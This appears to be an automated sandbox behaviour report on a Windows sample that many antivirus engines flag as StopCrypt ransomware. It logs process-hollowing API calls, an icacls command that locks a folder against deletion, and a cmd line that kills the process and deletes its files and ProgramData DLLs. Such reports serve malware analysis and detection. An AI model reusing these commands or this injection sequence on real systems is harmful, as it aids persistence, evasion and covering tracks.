regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Adobe Reader 9
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName
1 0 0

RegQueryValueExA

 key_handle: 0x000004c0
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName
1 0 0
file C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
process build.exe useragent Microsoft Internet Explorer
process build2.exe useragent
Process injection Process 2440 called NtSetContextThread to modify thread in remote process 2524
Process injection Process 2720 called NtSetContextThread to modify thread in remote process 2800
Process injection Process 2920 called NtSetContextThread to modify thread in remote process 2972
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2524
1 0 0

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2800
1 0 0

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4634477
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2972
1 0 0
Process injection Process 2440 resumed a thread in remote process 2524
Process injection Process 2524 resumed a thread in remote process 2720
Process injection Process 2720 resumed a thread in remote process 2800
Process injection Process 2920 resumed a thread in remote process 2972
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2524
1 0 0

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2720
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2800
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2972
1 0 0
cmdline icacls "C:\Users\test22\AppData\Local\057e0315-19ab-4b5f-ac0a-2ac31eb16c86" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Elastic malicious (high confidence)
FireEye Generic.mg.e6bf9a1d8f14d2e1
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
K7AntiVirus Trojan ( 005690671 )
K7GW Trojan ( 005690671 )
Cybereason malicious.ff0761
Cyren W32/Kryptik.EMQ.gen!Eldorado
Symantec ML.Attribute.HighConfidence
APEX Malicious
Avast FileRepMalware
Emsisoft Trojan.Crypt (A)
Sophos ML/PE-A
Gridinsoft Trojan.Win32.Packed.lu!heur
Microsoft Ransom:Win32/StopCrypt.MYK!MTB
Cynet Malicious (score: 100)
Acronis suspicious
Malwarebytes MachineLearning/Anomalous.95%
SentinelOne Static AI - Malicious PE
eGambit Unsafe.AI_Score_93%
Fortinet W32/GenKryptik.ERHN!tr
MaxSecure Trojan.Malware.300983.susgen
AVG FileRepMalware
CrowdStrike win/malicious_confidence_100% (D)
Qihoo-360 HEUR/QVM10.1.AB77.Malware.Gen
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2528
thread_handle: 0x0000007c
process_identifier: 2524
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\build.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\build.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 2524
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2524
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2524
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2524
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2524
1 0 0

CreateProcessInternalW

 thread_identifier: 2668
thread_handle: 0x000002f8
process_identifier: 2664
current_directory:
filepath:
track: 1
command_line: icacls "C:\Users\test22\AppData\Local\057e0315-19ab-4b5f-ac0a-2ac31eb16c86" /deny *S-1-1-0:(OI)(CI)(DE,DC)
filepath_r:
stack_pivoted: 0
creation_flags: 72 (DETACHED_PROCESS|IDLE_PRIORITY_CLASS)
inherit_handles: 0
process_handle: 0x00000308
1 1 0

CreateProcessInternalW

 thread_identifier: 2724
thread_handle: 0x000002bc
process_identifier: 2720
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\Temp\build.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe
stack_pivoted: 0
creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c4
1 1 0

NtResumeThread

 thread_handle: 0x000002bc
suspend_count: 1
process_identifier: 2720
1 0 0

CreateProcessInternalW

 thread_identifier: 2804
thread_handle: 0x0000007c
process_identifier: 2800
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\build.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask
filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 2800
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2800
region_size: 1273856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2800
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4342081
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2800
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2800
1 0 0

CreateProcessInternalW

 thread_identifier: 2924
thread_handle: 0x000002cc
process_identifier: 2920
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe"
filepath_r: C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002c4
1 1 0

CreateProcessInternalW

 thread_identifier: 2976
thread_handle: 0x0000007c
process_identifier: 2972
current_directory:
filepath: C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe"
filepath_r: C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000080
1 1 0

NtGetContextThread

 thread_handle: 0x0000007c
1 0 0

NtUnmapViewOfSection

 base_address: 0x00400000
region_size: 4096
process_identifier: 2972
process_handle: 0x00000080
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 659456
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000080
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2972
process_handle: 0x00000080
1 1 0

NtSetContextThread

 registers.eip: 2004287940
registers.esp: 1638384
registers.edi: 0
registers.eax: 4634477
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000007c
process_identifier: 2972
1 0 0

NtResumeThread

 thread_handle: 0x0000007c
suspend_count: 1
process_identifier: 2972
1 0 0

CreateProcessInternalW

 thread_identifier: 2316
thread_handle: 0x00000590
process_identifier: 2324
current_directory: C:\ProgramData
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\5ea8b247-49da-4d2d-af5d-7a88dc570dd2\build2.exe" & del C:\ProgramData\*.dll & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000059c
1 1 0

CreateProcessInternalW

 thread_identifier: 2480
thread_handle: 0x00000084
process_identifier: 2500
current_directory: C:\ProgramData
filepath: C:\Windows\System32\taskkill.exe
track: 1
command_line: taskkill /im build2.exe /f
filepath_r: C:\Windows\system32\taskkill.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000088
1 1 0

CreateProcessInternalW

 thread_identifier: 2676
thread_handle: 0x00000088
process_identifier: 2680
current_directory: C:\ProgramData
filepath: C:\Windows\System32\timeout.exe
track: 1
command_line: timeout /t 6
filepath_r: C:\Windows\system32\timeout.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x00000084
1 1 0